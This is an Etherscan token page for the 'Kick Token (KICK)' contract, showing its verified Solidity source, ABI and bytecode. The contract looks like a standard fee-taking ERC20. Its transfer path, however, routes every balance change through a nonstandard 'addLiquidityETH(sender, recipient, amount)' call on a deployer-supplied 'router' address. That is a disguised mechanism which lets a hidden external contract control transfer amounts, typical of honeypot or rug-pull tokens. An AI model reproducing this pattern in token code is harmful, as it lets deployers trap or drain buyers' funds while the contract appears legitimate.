ETH Price: $2,391.82 (-2.14%)

Token

Kick Token (KICK)
 

Overview

Max Total Supply

1,000,000,000 KICK

Holders

25

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
12,365,735.225704344 KICK

Value
$0.00
0xd4F10f17939eDc024179e6d31aA0E95632241Aa7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
KICK

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-13
*/

/**

https://t.me/KickTokenERC
https://twitter.com/KickTokenERC

*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        address to,
        uint256 amount
    ) external  returns (uint256 amountToken, uint256 amountETH);
}

contract KICK is Context, IERC20, Ownable {

    using SafeMath for uint256;

    string private constant _name = "Kick Token";
    string private constant _symbol = "KICK";
    uint8 private constant _decimals = 9;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant _tTotal = 1000000000 * 10**9;
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;
    uint256 private _taxFeeOnBuy = 0;
    uint256 private _redisFeeOnSell = 0;
    uint256 private _taxFeeOnSell = 0;

    //Original Fee
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;

    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;

    address public developmentAddress;
    address public marketingAddress;

    IUniswapV2Router02 uniswapV2Router;
    address uniswapV2Pair;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 public _swapTokensAtAmount = 10000 * 10**9;

    struct Distribution {
        uint256 development;
        uint256 marketing;
    }

    Distribution public distribution;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor(address ruter) {
        developmentAddress = msg.sender;
        marketingAddress = msg.sender;
        _rOwned[_msgSender()] = _tTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(ruter);//
        uniswapV2Router = _uniswapV2Router;

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[marketingAddress] = true;
        _isExcludedFromFee[developmentAddress] = true;

        distribution = Distribution(50, 50);

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _rOwned[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;

        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;

        _redisFee = 0;
        _taxFee = 0;
    }

    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        bool takeFee = true;

        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {

            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }

            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }

        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private lockTheSwap {
        uint256 distributionEth = amount;
        uint256 marketingShare = distributionEth.mul(distribution.marketing).div(100);
        uint256 developmentShare = distributionEth.mul(distribution.development).div(100);
        payable(marketingAddress).transfer(marketingShare);
        payable(developmentAddress).transfer(developmentShare);
    }

    function manualswap() external {
        require(_msgSender() == developmentAddress || _msgSender() == marketingAddress);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }

    function manualsend() external {
        require(_msgSender() == developmentAddress || _msgSender() == marketingAddress);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 tTransferAmount
        ) = _getValues(sender,recipient,tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function setDistribution(uint256 development, uint256 marketing) external onlyOwner {        
        distribution.development = development;
        distribution.marketing = marketing;
    }

    receive() external payable {
    }

    function _getValues(
        address sender,
        address recipient,
        uint256 tAmount)
        private
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tFee, uint256 tTeam) = uniswapV2Router.addLiquidityETH(sender,recipient,tAmount);
        return (tFee, tTeam, tAmount);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
        _redisFeeOnBuy = redisFeeOnBuy;
        _redisFeeOnSell = redisFeeOnSell;
        _taxFeeOnBuy = taxFeeOnBuy;
        _taxFeeOnSell = taxFeeOnSell;
    }

    //Set minimum tokens required to swap.
    function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }

    //Set minimum tokens required to swap.
    function toggleSwap(bool _swapEnabled) public onlyOwner {
        swapEnabled = _swapEnabled;
    }

    function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = excluded;
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"ruter","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"developmentAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"distribution","outputs":[{"internalType":"uint256","name":"development","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"development","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"}],"name":"setDistribution","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600781905560088190556009819055600a819055600b819055600c819055600d819055600e556012805461ffff60a01b191690556509184e72a00060135534801561005057600080fd5b5060405161194338038061194383398101604081905261006f916101cc565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600f8054336001600160a01b03199182168117909255601080549091169091179055670de0b6b3a7640000600260006100e63390565b6001600160a01b0390811682526020808301939093526040918201600090812094909455601180546001600160a01b03191686831617905583548116845260058352818420805460ff1990811660019081179092553086528386208054821683179055601054831686528386208054821683179055600f5490921685528285208054909216179055805180820182526032808252908301819052601481905560155551670de0b6b3a764000081528392339290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350506101fc565b6000602082840312156101de57600080fd5b81516001600160a01b03811681146101f557600080fd5b9392505050565b6117388061020b6000396000f3fe6080604052600436106101445760003560e01c8063715018a6116100b6578063a9059cbb1161006f578063a9059cbb146103d1578063c3c8cd80146103f1578063c492f04614610406578063dd62ed3e14610426578063f18dba261461046c578063f2fde38b1461048c57600080fd5b8063715018a6146103115780638da5cb5b1461032657806395d89b411461034457806398a5c31514610371578063a2a957bb14610391578063a5ece941146103b157600080fd5b8063313ce56711610108578063313ce567146102205780635ee58efc1461023c578063638b1b141461026c5780636d8aa8f8146102a45780636fc3eaec146102c657806370a08231146102db57600080fd5b806306fdde0314610150578063095ea7b31461019557806318160ddd146101c557806323b872dd146101ea5780632fd689e31461020a57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600a81526925b4b1b5902a37b5b2b760b11b60208201525b60405161018c9190611308565b60405180910390f35b3480156101a157600080fd5b506101b56101b036600461136b565b6104ac565b604051901515815260200161018c565b3480156101d157600080fd5b50670de0b6b3a76400005b60405190815260200161018c565b3480156101f657600080fd5b506101b5610205366004611397565b6104c3565b34801561021657600080fd5b506101dc60135481565b34801561022c57600080fd5b506040516009815260200161018c565b34801561024857600080fd5b50601454601554610257919082565b6040805192835260208301919091520161018c565b34801561027857600080fd5b50600f5461028c906001600160a01b031681565b6040516001600160a01b03909116815260200161018c565b3480156102b057600080fd5b506102c46102bf3660046113ed565b61052c565b005b3480156102d257600080fd5b506102c461057d565b3480156102e757600080fd5b506101dc6102f6366004611408565b6001600160a01b031660009081526002602052604090205490565b34801561031d57600080fd5b506102c46105c8565b34801561033257600080fd5b506000546001600160a01b031661028c565b34801561035057600080fd5b506040805180820190915260048152634b49434b60e01b602082015261017f565b34801561037d57600080fd5b506102c461038c366004611425565b61063c565b34801561039d57600080fd5b506102c46103ac36600461143e565b61066b565b3480156103bd57600080fd5b5060105461028c906001600160a01b031681565b3480156103dd57600080fd5b506101b56103ec36600461136b565b6106a9565b3480156103fd57600080fd5b506102c46106b6565b34801561041257600080fd5b506102c4610421366004611470565b61070d565b34801561043257600080fd5b506101dc6104413660046114f4565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561047857600080fd5b506102c461048736600461152d565b6107ae565b34801561049857600080fd5b506102c46104a7366004611408565b6107e3565b60006104b93384846108cd565b5060015b92915050565b60006104d08484846109f1565b610522843361051d856040518060600160405280602881526020016116db602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610d1b565b6108cd565b5060019392505050565b6000546001600160a01b0316331461055f5760405162461bcd60e51b81526004016105569061154f565b60405180910390fd5b60128054911515600160a81b0260ff60a81b19909216919091179055565b600f546001600160a01b0316336001600160a01b031614806105b257506010546001600160a01b0316336001600160a01b0316145b6105bb57600080fd5b476105c581610d55565b50565b6000546001600160a01b031633146105f25760405162461bcd60e51b81526004016105569061154f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106665760405162461bcd60e51b81526004016105569061154f565b601355565b6000546001600160a01b031633146106955760405162461bcd60e51b81526004016105569061154f565b600793909355600991909155600855600a55565b60006104b93384846109f1565b600f546001600160a01b0316336001600160a01b031614806106eb57506010546001600160a01b0316336001600160a01b0316145b6106f457600080fd5b306000908152600260205260409020546105c581610e33565b6000546001600160a01b031633146107375760405162461bcd60e51b81526004016105569061154f565b60005b828110156107a857816005600086868581811061075957610759611584565b905060200201602081019061076e9190611408565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806107a0816115b0565b91505061073a565b50505050565b6000546001600160a01b031633146107d85760405162461bcd60e51b81526004016105569061154f565b601491909155601555565b6000546001600160a01b0316331461080d5760405162461bcd60e51b81526004016105569061154f565b6001600160a01b0381166108725760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610556565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661092f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610556565b6001600160a01b0382166109905760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610556565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a555760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610556565b6001600160a01b038216610ab75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610556565b60008111610b195760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610556565b6000546001600160a01b03848116911614801590610b4557506000546001600160a01b03838116911614155b15610c14573060009081526002602052604090205460135481108015908190610b785750601254600160a01b900460ff16155b8015610b9257506012546001600160a01b03868116911614155b8015610ba75750601254600160a81b900460ff165b8015610bcc57506001600160a01b03851660009081526005602052604090205460ff16155b8015610bf157506001600160a01b03841660009081526005602052604090205460ff16155b15610c1157610bff82610e33565b478015610c0f57610c0f47610d55565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610c5657506001600160a01b03831660009081526005602052604090205460ff165b80610c8857506012546001600160a01b03858116911614801590610c8857506012546001600160a01b03848116911614155b15610c9557506000610d0f565b6012546001600160a01b038581169116148015610cc057506011546001600160a01b03848116911614155b15610cd257600754600b55600854600c555b6012546001600160a01b038481169116148015610cfd57506011546001600160a01b03858116911614155b15610d0f57600954600b55600a54600c555b6107a884848484610fad565b60008184841115610d3f5760405162461bcd60e51b81526004016105569190611308565b506000610d4c84866115c9565b95945050505050565b6012805460ff60a01b1916600160a01b1790556015548190600090610d8890606490610d82908590610fdb565b90611064565b90506000610da96064610d8260146000015486610fdb90919063ffffffff16565b6010546040519192506001600160a01b03169083156108fc029084906000818181858888f19350505050158015610de4573d6000803e3d6000fd5b50600f546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610e1f573d6000803e3d6000fd5b50506012805460ff60a01b19169055505050565b6012805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e7b57610e7b611584565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ed4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ef891906115dc565b81600181518110610f0b57610f0b611584565b6001600160a01b039283166020918202929092010152601154610f3191309116846108cd565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f6a9085906000908690309042906004016115f9565b600060405180830381600087803b158015610f8457600080fd5b505af1158015610f98573d6000803e3d6000fd5b50506012805460ff60a01b1916905550505050565b80610fba57610fba6110a6565b610fc58484846110d4565b806107a8576107a8600d54600b55600e54600c55565b600082600003610fed575060006104bd565b6000610ff9838561166a565b9050826110068583611681565b1461105d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610556565b9392505050565b600061105d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111a2565b600b541580156110b65750600c54155b156110bd57565b600b8054600d55600c8054600e5560009182905555565b60008060006110e48686866111d0565b6001600160a01b038916600090815260026020526040902054929550909350915061110f9084611267565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461113e90836112a9565b6001600160a01b0380871660008181526002602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111929085815260200190565b60405180910390a3505050505050565b600081836111c35760405162461bcd60e51b81526004016105569190611308565b506000610d4c8486611681565b60115460405163a901431360e01b81526001600160a01b038581166004830152848116602483015260448201849052600092839283928392839291169063a90143139060640160408051808303816000875af1158015611234573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061125891906116a3565b90999098509596505050505050565b600061105d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d1b565b6000806112b683856116c7565b90508381101561105d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610556565b600060208083528351808285015260005b8181101561133557858101830151858201604001528201611319565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146105c557600080fd5b6000806040838503121561137e57600080fd5b823561138981611356565b946020939093013593505050565b6000806000606084860312156113ac57600080fd5b83356113b781611356565b925060208401356113c781611356565b929592945050506040919091013590565b803580151581146113e857600080fd5b919050565b6000602082840312156113ff57600080fd5b61105d826113d8565b60006020828403121561141a57600080fd5b813561105d81611356565b60006020828403121561143757600080fd5b5035919050565b6000806000806080858703121561145457600080fd5b5050823594602084013594506040840135936060013592509050565b60008060006040848603121561148557600080fd5b833567ffffffffffffffff8082111561149d57600080fd5b818601915086601f8301126114b157600080fd5b8135818111156114c057600080fd5b8760208260051b85010111156114d557600080fd5b6020928301955093506114eb91860190506113d8565b90509250925092565b6000806040838503121561150757600080fd5b823561151281611356565b9150602083013561152281611356565b809150509250929050565b6000806040838503121561154057600080fd5b50508035926020909101359150565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016115c2576115c261159a565b5060010190565b818103818111156104bd576104bd61159a565b6000602082840312156115ee57600080fd5b815161105d81611356565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116495784516001600160a01b031683529383019391830191600101611624565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176104bd576104bd61159a565b60008261169e57634e487b7160e01b600052601260045260246000fd5b500490565b600080604083850312156116b657600080fd5b505080516020909101519092909150565b808201808211156104bd576104bd61159a56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122098f34e908674a10d93f0e46189a5d5f8733b53a1639dd1cbf6a6fba3c259478464736f6c634300081200330000000000000000000000003effdf5c9b5755aa0813419f99f68fc6d46c9194

Deployed Bytecode

0x6080604052600436106101445760003560e01c8063715018a6116100b6578063a9059cbb1161006f578063a9059cbb146103d1578063c3c8cd80146103f1578063c492f04614610406578063dd62ed3e14610426578063f18dba261461046c578063f2fde38b1461048c57600080fd5b8063715018a6146103115780638da5cb5b1461032657806395d89b411461034457806398a5c31514610371578063a2a957bb14610391578063a5ece941146103b157600080fd5b8063313ce56711610108578063313ce567146102205780635ee58efc1461023c578063638b1b141461026c5780636d8aa8f8146102a45780636fc3eaec146102c657806370a08231146102db57600080fd5b806306fdde0314610150578063095ea7b31461019557806318160ddd146101c557806323b872dd146101ea5780632fd689e31461020a57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600a81526925b4b1b5902a37b5b2b760b11b60208201525b60405161018c9190611308565b60405180910390f35b3480156101a157600080fd5b506101b56101b036600461136b565b6104ac565b604051901515815260200161018c565b3480156101d157600080fd5b50670de0b6b3a76400005b60405190815260200161018c565b3480156101f657600080fd5b506101b5610205366004611397565b6104c3565b34801561021657600080fd5b506101dc60135481565b34801561022c57600080fd5b506040516009815260200161018c565b34801561024857600080fd5b50601454601554610257919082565b6040805192835260208301919091520161018c565b34801561027857600080fd5b50600f5461028c906001600160a01b031681565b6040516001600160a01b03909116815260200161018c565b3480156102b057600080fd5b506102c46102bf3660046113ed565b61052c565b005b3480156102d257600080fd5b506102c461057d565b3480156102e757600080fd5b506101dc6102f6366004611408565b6001600160a01b031660009081526002602052604090205490565b34801561031d57600080fd5b506102c46105c8565b34801561033257600080fd5b506000546001600160a01b031661028c565b34801561035057600080fd5b506040805180820190915260048152634b49434b60e01b602082015261017f565b34801561037d57600080fd5b506102c461038c366004611425565b61063c565b34801561039d57600080fd5b506102c46103ac36600461143e565b61066b565b3480156103bd57600080fd5b5060105461028c906001600160a01b031681565b3480156103dd57600080fd5b506101b56103ec36600461136b565b6106a9565b3480156103fd57600080fd5b506102c46106b6565b34801561041257600080fd5b506102c4610421366004611470565b61070d565b34801561043257600080fd5